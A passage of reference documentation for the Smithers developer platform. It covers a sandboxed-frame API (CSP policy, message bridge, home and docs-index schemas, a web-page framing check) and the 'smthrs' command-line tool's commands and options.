| `nonceAttribute`                                   | `"data-smithers-nonce"`, where the frame document carries the mount's nonce                                                                                                                                                                           |
| `hash(script)`                                     | `'sha256-<base64>'` over the script's UTF-8                                                                                                                                                                                                           |
| `policy(runtimeHash)`                              | the frame's CSP: `default-src 'none'`, `script-src` the hash, `script-src-attr 'none'`, `style-src 'unsafe-inline'`, `img-src data:`, `font-src data:`, and `'none'` for connect, media, object, frame, child, worker, manifest, base and form-action |
| `frameDocument({ runtime, nonce, theme, styles })` | the frame's `srcdoc`: the policy, the styles and the runtime, with no view content. A `</script` or `</style` inside is escaped, and the hash covers the runtime as written                                                                           |

## `Bridge`

The four messages, JSON-RPC 2.0, named after MCP Apps where they overlap:

| Schema               | Method                                  | Direction                                                                   |
| -------------------- | --------------------------------------- | --------------------------------------------------------------------------- |
| `Initialize`         | `ui/initialize`                         | frame to page, by window message, with `{ nonce }`                          |
| `InitializeResult`   | (the answer)                            | page to frame, with `{ html, theme, size }` and a transferred `MessagePort` |
| `HostContextChanged` | `ui/notifications/host-context-changed` | page to frame, `{ html?, theme? }`                                          |
| `SizeChanged`        | `ui/notifications/size-changed`         | frame to page, `{ height }`                                                 |
| `Interaction`        | `smithers/interaction`                  | frame to page, `{ event, arg?, values? }`                                   |

### `Bridge.receive`

```ts
const receive: (input: {
  message: unknown
  declared: Interactions.Declared
  window: RateWindow
  now: number
}) => { verdict: Verdict; window: RateWindow }

type Verdict =
  | { _tag: "Resize"; height: number }
  | { _tag: "State"; event: Interactions.Event }
  | { _tag: "Message"; event: Interactions.Event; label: string; values: Values }
  | { _tag: "Refused"; reason: "wrong_source" | "malformed" | "too_large" | "undeclared" | "rate_limited" }
```

What the page does with one message from the frame's port. It decodes the
message, refuses values over `maxValuesBytes` (16 KiB), an event the view did
not declare (own properties only), and more than `maxInteractionsPerSecond`
(10) in any second. Start `window` empty and keep the one it returns.

### `Bridge.acceptInitialize`, `initializeResult`, `hostContextChanged`

`acceptInitialize(message, nonce)` decodes `ui/initialize` and checks the
nonce; the caller checks that the message came from its own frame.
`initializeResult(initialize, context)` and `hostContextChanged(params)` write
the page's messages.

### Sizes and bounds

`Size` (`"inline" | "full"`), `Theme` (`"light" | "dark"`), `inlineHeight`
(80 to 480), `inlineFrameHeight(reported)`, `maxStateBytes`, `maxHtmlBytes`,
`maxValues` (64), `maxReportedHeight`.

## `Interactions`

| Export                   | What it is                                                                                                   |
| ------------------------ | ------------------------------------------------------------------------------------------------------------ |
| `Name`                   | a lowercase letter, then up to 31 letters, digits, `_` or `-`                                                |
| `Interaction`            | `{ kind: "state" }` or `{ kind: "message", label }`                                                          |
| `Declared`               | a module's `interactions`: at most `maxDeclared` (32), every key a `Name`                                    |
| `Event`                  | `{ name, arg? }`, what `reduce` receives                                                                     |
| `parse(attribute)`       | reads `"name"` or `"name:arg"`; everything after the first `:` is the argument, at most `maxArgLength` (256) |
| `format(event)`          | the inverse of `parse`                                                                                       |
| `lookup(declared, name)` | the declared interaction, or `None`; inherited names never match                                             |

## `Home`

A repository's own home: the sections and blocks `.smithers/home.json` declares, and who sees each section. See
[Read a repository's home](https://github.com/smithersai/smithers/blob/main/packages/smithers/ui/views/docs/read-a-home.md).

| Export                                                                                                                       | What it is                                                                                                                                                                                                          |
| ---------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `path`                                                                                                                       | `".smithers/home.json"`                                                                                                                                                                                             |
| `read(text)`                                                                                                                 | `{ _tag: "Declared", sections, contributors, docs?, skipped }` or `{ _tag: "Invalid", reason }`; never throws                                                                                                       |
| `Read`, `Invalid`, `Section`                                                                                                 | the answer; why a file is not a home: `json`, `shape`, `sections`, `section`, `blocks` or `block`; a section `{ title?, audience, blocks }`                                                                         |
| `Audience`, `audiences`                                                                                                      | `everyone`, `contributor`, `maintainer`, from the widest                                                                                                                                                            |
| `Contributors`                                                                                                               | who counts as a contributor: `role` or `anyone`                                                                                                                                                                     |
| `sees(viewer, section)`, `visible(sections, viewer)`, `widen(viewer, contributors)`                                          | whether an audience may see a section's; the sections it may see, in order; `everyone` as a contributor on a home open to anyone                                                                                    |
| `SectionHeading`                                                                                                             | a section's `{ title?, audience? }` as declared                                                                                                                                                                     |
| `Block`, `kinds`, `liveKinds`                                                                                                | the union of the sixteen block schemas, and its type; every kind; the live ones, `flows`, `stack`, `issues`, `runs`                                                                                                 |
| `TextBlock`, `LinksBlock`, `FlowsBlock`, `PromptBlock`                                                                       | `{ type, title?, text }`; `{ type, title?, links: [{ label, url }] }`; `{ type, title? }`; `{ type, flow?, title?, placeholder? }`                                                                                  |
| `MarkdownBlock`, `StackBlock`, `AppBlock`, `ViewBlock`                                                                       | `{ type, path, title? }`; `{ type, title? }`; `{ type, flow, title, picture }`; `{ type, flow }`                                                                                                                    |
| `HeroBlock`, `CodeBlock`, `CardsBlock`, `StatsBlock`, `ReleasesBlock`                                                        | `{ type, title, tagline?, text?, install?, actions?, announcement? }`; `{ type, code, file?, language?, title? }`; `{ type, cards, title?, more? }`; `{ type, stats, title? }`; `{ type, releases, title?, more? }` |
| `IssuesBlock`, `RunsBlock`, `ActionBlock`                                                                                    | `{ type, title? }`; `{ type, title? }`; `{ type, flow, title, key? }`                                                                                                                                               |
| `Card`, `Stat`, `Release`, `Link`                                                                                            | `{ title, text?, label?, url? }`; `{ value, label }`; `{ name, url, date, summary? }`; `{ label, url }`                                                                                                             |
| `Title`, `Prose`, `Line`, `Command`, `Code`, `Language`, `IsoDate`, `Key`, `Url`, `RepositoryPath`, `FlowName`, `AppPicture` | the field schemas the blocks share                                                                                                                                                                                  |
| `DocsUrl`                                                                                                                    | the `docs` field: an `https` URL with no user or password, at most 2,048 characters                                                                                                                                 |
| `maximumSections`, `maximumBlocks`, `maximumEntries`, `maximumStats`, `maximumActions`                                       | 8, 32, 12, 6, 3                                                                                                                                                                                                     |
| `maximumTitleLength`, `maximumLineLength`, `maximumTextLength`, `maximumCodeLength`, `maximumUrlLength`, `htmlPattern`       | 120, 280, 4,096, 4,096, 2,048, and the pattern of a tag, a closing tag, a comment or a processing instruction                                                                                                       |

## `Docs`

A docs site's `llms.txt` index: read it, find and search its pages, and fetch it or a page from a server, guarded. See
[Read a docs index](https://github.com/smithersai/smithers/blob/main/packages/smithers/ui/views/docs/read-a-docs-index.md).

| Export                                                                           | What it is                                                                                                                                                                              |
| -------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `parse(text, indexUrl)`                                                          | `{ title, summary?, pages }`, the pages on the index's origin, in order; never throws                                                                                                   |
| `find(index, path)`, `search(index, query, limit?)`                              | the page at a path; the pages matching the query's words, best first, at most `limit` (5)                                                                                               |
| `fetchText(url, options?)`                                                       | `Effect<Fetched, never, HttpClient>`: `{ _tag: "Text", text, type, url }` or `{ _tag: "Refused", reason, status? }`                                                                     |
| `Index`, `Page`                                                                  | the schemas and types of an index and a page `{ title, url, path, description?, section? }`                                                                                             |
| `Fetched`, `FetchRefusal`, `FetchOptions`                                        | the answer; `invalid_url`, `private_host`, `redirects`, `unreachable`, `timeout`, `status`, `content`, `too_large`; `{ privateHosts?, maxRedirects?, timeout?, maxBytes?, userAgent? }` |
| `maximumPages`, `maximumTitleLength`, `maximumDescriptionLength`, `defaultLimit` | 1,000, 200, 300, 5                                                                                                                                                                      |

## `WebPage`

Whether an outside page shows in a frame, asked from a server, and the card
shown in its place. See [Check a web page before framing it](https://github.com/smithersai/smithers/blob/main/packages/smithers/ui/views/docs/check-a-web-page.md).

| Export                                         | What it is                                                                                                                                                       |
| ---------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `check(url, options)`                          | `Effect<Checked, never, HttpClient>`: requests the page as a frame would, guarded on every hop; never fails                                                      |
| `Options`                                      | `{ ancestors, privateHosts?, maxRedirects? (5), timeout? (8 s), headTimeout? (3 s), maxBytes? (256 KiB), userAgent? }`                                           |
| `Checked`                                      | schema and type: `{ framing, reason?, status?, title?, description?, icon? }`                                                                                    |
| `Preview`                                      | schema and type: `{ title?, description?, icon? }`                                                                                                               |
| `FRAMINGS`, `Framing`                          | `allowed`, `refused`, `unknown`                                                                                                                                  |
| `REASONS`, `Reason`                            | `x_frame_options`, `frame_ancestors`, `insecure`, `content`, `status`, `invalid_url`, `private_host`, `redirects`, `timeout`, `unreachable`                      |
| `framing(headers, { page, ancestors })`        | `{ framing: "allowed" }` or `{ framing: "refused", reason }` from headers; malformed page or ancestor URLs yield `{ framing: "unknown", reason: "invalid_url" }` |
| `content(headers)`                             | whether a sandboxed frame shows the response: not an attachment, a PDF or an octet stream                                                                        |
| `preview(html, pageUrl)`                       | the `Preview` read from a page's head                                                                                                                            |
| `HeaderRecord`                                 | response headers by name, in any case                                                                                                                            |
| `MAX_TITLE`, `MAX_DESCRIPTION`, `MAX_ICON_URL` | 200, 300 and 2,048 characters                                                                                                                                    |

---

# CLI reference
https://smithers.sh/docs/reference/cli/

Every command in `smthrs` 1.0.0-rc.16, as its `--help` describes it.

```bash
npm install -g smthrs@next
```

## Commands

| Command | Description |
| --- | --- |
| [`agent`](#agent) | Configure an agent |
| [`agents`](#agents) | The factory's agents |
| [`api`](#api) | Make raw API calls to the Smithers server |
| [`branch`](#branch) | Branches and machines |
| [`branches`](#branches) | List branches with presence |
| [`change`](#change) | Inspect local jj changes |
| [`cp`](#cp) | Copy files or directories between the local machine and a workspace |
| [`diff`](#diff) | Show a branch's changes |
| [`doctor`](#doctor) | Check project discovery, providers, tools, and durable-state compatibility |
| [`exec`](#exec) | Run a workspace command with a durable receipt and bounded output |
| [`file`](#file) | Open and co-edit a file |
| [`files`](#files) | Browse a branch's files |
| [`flow`](#flow) | Discover, plan, and start durable flows |
| [`flows`](#flows) | List the repository's flows |
| [`generate`](#generate) | Scaffold flows, packages, and CI configuration |
| [`github`](#github) | Show sync status and retry |
| [`host`](#host) | Operate this installation’s host |
| [`issue`](#issue) | Manage repository issues |
| [`issues`](#issues) | List the repository's issues |
| [`login`](#login) | Log in to Smithers |
| [`merge`](#merge) | Review and merge the next item; waits for the person's confirmation |
| [`monitor`](#monitor) | Every run, with its debug view |
| [`pr`](#pr) | Open a pull request's card |
| [`review`](#review) | Review a change, return findings; waits for the person's confirmation |
| [`run`](#run) | Advanced |
| [`runs`](#runs) | Inspect and control durable execution records |
| [`search`](#search) | Search code, wiki and runs |
| [`shell`](#shell) | Open an interactive terminal in a workspace via the WebSocket terminal endpoint |
| [`ssh`](#ssh) | Copy the SSH line for a branch |
| [`ssh-key`](#ssh-key) | Manage your SSH keys |
| [`stack`](#stack) | Show the stack and background runs |
| [`todo`](#todo) | Answer the install's TODOs |
| [`wiki`](#wiki) | Read and edit wiki pages |
| [`workspace`](#workspace) | Create, open and run commands in workspaces |

## Global options

Every command takes these options.

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--audience` | one of `auto`, `human`, `agent` | `auto` | no | Presentation audience; auto detects agent harnesses, CI, and terminals |
| `--silent` | boolean | `false` | no | Suppress progress; retain the result and actionable failures |
| `--ui` | one of `auto`, `tty`, `stream`, `plain` | `auto` | no | Terminal renderer: tty draws in place, stream colours without cursor motion, plain prints bare lines; auto shows live human progress; agent, --silent, pipe and dumb-terminal policies take precedence |

`smthrs --help` also lists these built-in options.

| Option | Value | Description |
| --- | --- | --- |
| `--filter-output` | `keys` | Filter output by key paths (e.g. foo,bar.baz,a\[0,3\]) |
| `--format` | `toon\|json\|yaml\|md\|jsonl` | Output format |
| `--full-output` |  | Show full output envelope |
| `--help` |  | Show help |
| `--llms`, `--llms-full` |  | Print LLM-readable manifest |
| `--mcp` |  | Start as MCP stdio server |
| `--schema` |  | Show JSON Schema for command |
| `--token-count` |  | Print token count of output (instead of output) |
| `--token-limit` | `n` | Limit output to n tokens |
| `--token-offset` | `n` | Skip first n tokens of output |
| `--update` |  | Update to latest version |
| `--version` |  | Show version |

## `agent`

Configure an agent

```text
smthrs agent <name> [options] | <command>
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `name` | string, min length 1 |  | yes |  |

### `agent edit`

Propose an instruction change; waits for the person's confirmation

```text
smthrs agent edit <name> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `name` | one of `planner`, `implementer`, `reviewer`, `app` |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--request` | string, min length 1 |  | yes |  |
| `--diff` | string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `agents`

The factory's agents

```text
smthrs agents [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `api`

Make raw API calls to the Smithers server

```text
smthrs api <endpoint> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `endpoint` | string |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--method` | string | `GET` | no |  |
| `--field` | array of string |  | no |  |
| `--header` | array of string |  | no |  |
| `--input` | string |  | no | JSON request body from a file, or - for stdin |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `branch`

Branches and machines

```text
smthrs branch <command>
```

### `branch add-to-stack`

Add a scratch branch as a TODO; waits for the person's confirmation

```text
smthrs branch add-to-stack [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--branch` | string |  | yes |  |
| `--text` | string |  | no |  |
| `--title` | string, min length 1 |  | no |  |
| `--acceptance` | array of string |  | no |  |
| `--after` | integer, minimum 1 |  | no |  |
| `--before` | string, pattern `^T[1-9]\d*$` |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `branch archive`

Archive a scratch branch; waits for the person's confirmation

```text
smthrs branch archive [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--branch` | string |  | yes |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `branch fork`

Fork a scratch branch

```text
smthrs branch fork [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--from` | string, min length 1 |  | yes |  |
| `--name` | string, min length 1 |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `branch rebase`

Rebase this branch now

```text
smthrs branch rebase [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--branch` | string |  | yes |  |
| `--conflict_change` | string, min length 1 |  | no |  |
| `--onto_revision` | string, min length 1 |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `branch show`

Open a branch's card

```text
smthrs branch show <name> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `name` | string |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `branches`

List branches with presence

```text
smthrs branches [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `change`

Inspect local jj changes

```text
smthrs change <command>
```

### `change diff`

Show diff for a change

```text
smthrs change diff [id] [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `id` | string |  | no | Change ID (defaults to working copy) |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--repo`, `-R` | string |  | no | Repository (OWNER/REPO) |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `cp`

Copy files or directories between the local machine and a workspace

```text
smthrs cp <src> <dst> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `src` | string |  | yes | Local path or \<workspace-id>:\<path> |
| `dst` | string |  | yes | Local path or \<workspace-id>:\<path> |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--repo`, `-R` | string |  | no | Repository (OWNER/REPO) |
| `--timeout` | number | `0` | no | Transfer timeout in seconds |
| `--user` | string | `developer` | no | Guest user |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `diff`

Show a branch's changes

```text
smthrs diff [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--branch` | string |  | no |  |
| `--entry` | string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `doctor`

Check project discovery, providers, tools, and durable-state compatibility

```text
smthrs doctor [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--root` | string |  | no | Project directory; defaults to the nearest Smithers project |
| `--remote` | string |  | no | Remote control plane URL; defaults to SMITHERS_REMOTE |
| `--mcp-config` | string |  | no | Path to the configured MCP servers |
| `--quiet` | boolean | `false` | no | Suppress progress messages |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `exec`

Run a workspace command with a durable receipt and bounded output

```text
smthrs exec [id] [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `id` | string |  | no | Workspace ID (auto-detected if omitted) |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--command` | string |  | yes | Remote command to run (multi-line allowed; runs under bash) |
| `--cwd` | string |  | no | Working directory (default: workspace root) |
| `--detach` | boolean | `false` | no | Return the receipt at once; the command keeps running (reattach with --exec-id) |
| `--env` | array of string | `[]` | no | KEY=VALUE exported to the command (repeatable) |
| `--exec-id` | string |  | no | Durable command ID; reuse with the same command to reattach after a disconnect |
| `--repo`, `-R` | string |  | no | Repository (OWNER/REPO) |
| `--seed-agent-auth` | string |  | no | Disabled: host credentials cannot be seeded into workspaces |
| `--timeout` | number |  | no | Cancel after this many seconds (default: 0; server guard: 60 minutes) |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `file`

Open and co-edit a file

```text
smthrs file <path> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `path` | string |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--branch` | string |  | no |  |
| `--revision` | string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `files`

Browse a branch's files

```text
smthrs files [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--path` | string |  | no |  |
| `--branch` | string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `flow`

Discover, plan, and start durable flows

```text
smthrs flow <command>
```

### `flow edit`

Propose a change to a flow; waits for the person's confirmation

```text
smthrs flow edit <name> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `name` | string, min length 1 |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--request` | string, min length 1 |  | yes |  |
| `--diff` | string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `flow new`

Create a new flow; waits for the person's confirmation

```text
smthrs flow new [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--description` | string |  | yes |  |
| `--repo` | string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `flow plan`

See what a flow would run

```text
smthrs flow plan <flow> <input...> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `flow` | string, min length 1 |  | yes | Discovered flow name |
| `input` | array of string | `[]` | no | Input fields as key=value |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--root` | string |  | no | Project directory; defaults to the nearest Smithers project |
| `--remote` | string |  | no | Remote control plane URL; defaults to SMITHERS_REMOTE |
| `--mcp-config` | string |  | no | Path to the configured MCP servers |
| `--quiet` | boolean | `false` | no | Suppress progress messages |
| `--data` | string |  | no | JSON input object |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |
| `--repo` | string |  | no |  |
| `--source-card` | string |  | no |  |
| `--against` | string |  | no |  |
| `--input` | object |  | no |  |

### `flow run`

Run a flow with typed input

```text
smthrs flow run <name> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `name` | string |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--repo` | string |  | no |  |
| `--source-card` | string |  | no |  |
| `--workspace-id` | string |  | no |  |
| `--input` | object |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `flow show`

Show a flow's steps and versions

```text
smthrs flow show <flow> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `flow` | string, min length 1 |  | yes | Discovered flow name |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--root` | string |  | no | Project directory; defaults to the nearest Smithers project |
| `--remote` | string |  | no | Remote control plane URL; defaults to SMITHERS_REMOTE |
| `--mcp-config` | string |  | no | Path to the configured MCP servers |
| `--quiet` | boolean | `false` | no | Suppress progress messages |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `flow source`

Co-edit a flow's source

```text
smthrs flow source <name> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `name` | string, min length 1 |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `flow start`

Plan, approve, and start one flow; optionally detach after durable admission

```text
smthrs flow start <flow> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `flow` | string, min length 1 |  | yes | Discovered flow name |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--input` | array of string | `[]` | no | Input key=value pairs (can be repeated) |
| `--ref` | string | `main` | no | Git ref to run against |
| `--repo`, `-R` | string |  | no | Repository (OWNER/REPO) |
| `--root` | string |  | no | Project directory; defaults to the nearest Smithers project |
| `--remote` | string |  | no | Remote control plane URL; defaults to SMITHERS_REMOTE |
| `--mcp-config` | string |  | no | Path to the configured MCP servers |
| `--quiet` | boolean | `false` | no | Suppress progress messages |
| `--data` | string |  | no |  |
| `--detached`, `-d` | boolean | `false` | no |  |
| `--wait` | boolean | `false` | no | Wait for the run's status before exiting |
| `--budget-tokens` | integer, greater than 0 |  | no | Token ceiling for this run |
| `--budget-ms` | integer, greater than 0 |  | no | Wall-clock ceiling in milliseconds for this run |
| `--budget-usd` | number, greater than 0 |  | no | Dollar ceiling for this run |
| `--on-exceeded` | one of `fail`, `warn`, `skip-remaining`, `park` |  | no | What the run does at a ceiling |
| `--deadline` | string |  | no | Wall-clock time the run may take from its first start, as a duration (30 minutes) or milliseconds |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |
| `--cloud` | boolean | `false` | no | Use repository flows and runs on the backend |

## `flows`

List the repository's flows

```text
smthrs flows [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `generate`

Scaffold flows, packages, and CI configuration

```text
smthrs generate <command>
```

### `generate flow`

Create a tagged TypeScript flow without replacing an existing flow

```text
smthrs generate flow <name> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `name` | string, min length 1 |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--root` | string |  | no | Project directory |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `github`

Show sync status and retry

```text
smthrs github [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `host`

Operate this installation’s host

```text
smthrs host <command>
```

### `host backup`

Back up the installation

```text
smthrs host backup [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `host restore`

Restore the installation from a verified backup

```text
smthrs host restore <directory> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `directory` | string |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `host start`

Start the bundled host service

```text
smthrs host start [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--bundle` | string |  | no | Built server bundle directory |
| `--bind` | string |  | no |  |
| `--origin` | array of string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `host status`

Show launchd, bundle and process health

```text
smthrs host status [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `host stop`

Stop the host service

```text
smthrs host stop [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `host upgrade`

Upgrade the installation after a verified backup

```text
smthrs host upgrade [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `issue`

Manage repository issues

```text
smthrs issue <command>
```

### `issue comment`

Comment on an issue; waits for the person's confirmation

```text
smthrs issue comment <number> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `number` | string |  | yes | Issue number |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--body` | string, min length 1 |  | yes |  |
| `--repo` | string |  | no | Repository (OWNER/REPO) |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `issue new`

Open a GitHub issue; waits for the person's confirmation

```text
smthrs issue new [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--title` | string, min length 1 |  | yes |  |
| `--body` | string |  | yes |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `issue show`

Open an issue's card

```text
smthrs issue show <number> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `number` | number or one of `Infinity`, `-Infinity`, `NaN` |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `issues`

List the repository's issues

```text
smthrs issues [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `login`

Log in to Smithers

```text
smthrs login [origin] [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `origin` | string |  | no | Install origin |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--admin` | boolean | `false` | no | Request an expiring administrator token with browser consent |
| `--host` | string |  | no | Hostname or API URL (alias for --hostname) |
| `--hostname` | string |  | no | Hostname or API URL to authenticate with |
| `--observe` | boolean | `false` | no | Sign in as an administrator and open Observe already authenticated |
| `--agent` | string, pattern `^[a-z0-9-]{1,32}$` |  | no | External agent name |
| `--ttl` | string |  | no | Admin token lifetime (5m to 12h; default 1h) |
| `--with-token` | boolean | `false` | no | Read token from stdin instead of browser flow |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `merge`

Review and merge the next item; waits for the person's confirmation

```text
smthrs merge <n> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `n` | string, pattern `^T[1-9]\d*$` |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--reviewed_head_sha` | string |  | no |  |
| `--idempotency-key` | string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `monitor`

Every run, with its debug view

```text
smthrs monitor [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `pr`

Open a pull request's card

```text
smthrs pr <number> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `number` | integer, greater than 0 |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--repo` | string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `review`

Review a change, return findings; waits for the person's confirmation

```text
smthrs review <patterns...> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `patterns` | array of string, min items 1 |  | yes | Bazel labels or recursive patterns; the verb runs their union |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--workspace` | string | `<cwd>` | no | Directory inside a workspace containing WORKSPACE.ts |
| `--cache-dir` | string |  | no | Workspace-relative cache directory; overrides the WORKSPACE.ts declaration |
| `--policy-revision` | string |  | no | Full approved commit SHA containing the trusted review index |
| `--revision` | string | `HEAD` | no | Committed source revision: HEAD or a full commit SHA |
| `--plan` | boolean | `false` | no | Show pinned policy and source selection without inference |
| `--required` | boolean | `false` | no | Fail every selected review that selects no files or cannot run instead of passing it |
| `--findings-store` | string |  | no | Absolute private directory for review runs and findings (default: the Git directory) |
| `--credential-receiver` | string |  | no | Absolute executable that receives credential names and locations as JSON on stdin; a nonzero exit fails the review |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |
| `--repo` | string |  | no |  |

## `run`

Advanced

```text
smthrs run <command>
```

### `run inspect`

Open a run's monitor

```text
smthrs run inspect <id> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `id` | string |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `runs`

Inspect and control durable execution records

```text
smthrs runs <command>
```

### `runs list`

Active and attention-needing runs

```text
smthrs runs list [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
